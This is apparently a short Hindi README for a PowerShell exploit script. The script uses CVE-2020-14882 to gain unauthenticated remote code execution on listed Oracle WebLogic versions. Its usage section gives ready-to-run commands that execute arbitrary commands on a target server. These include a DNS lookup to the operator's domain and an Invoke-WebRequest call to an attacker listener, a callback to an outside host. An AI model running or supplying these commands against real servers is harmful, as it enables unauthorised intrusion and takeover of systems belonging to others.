Oracle WebLogic अप्रमाणित RCE शोषण

यह PowerShell स्क्रिप्ट CVE-2020-14882 का उपयोग करके Oracle WebLogic सर्वर के निम्नलिखित संस्करणों पर बिना प्रमाणीकरण के दूरस्थ कोड निष्पादन प्राप्त करती है:

• 10.3.6.0.0
• 12.1.3.0.0
• 12.2.1.3.0
• 12.2.1.4.0
• 14.1.1.0.0

उपयोग

.\exploit.ps1 -target 'http(s)://target:7001' -command 'your_command'
.\exploit.ps1 -target 'http(s)://target:7001' -command 'nslookup your_Domain'
.\exploit.ps1 -target 'http(s)://target:7001' -command 'powershell.exe -c Invoke-WebRequest -Uri http://your_listener'

संदर्भ

ExploitDB पर शोषण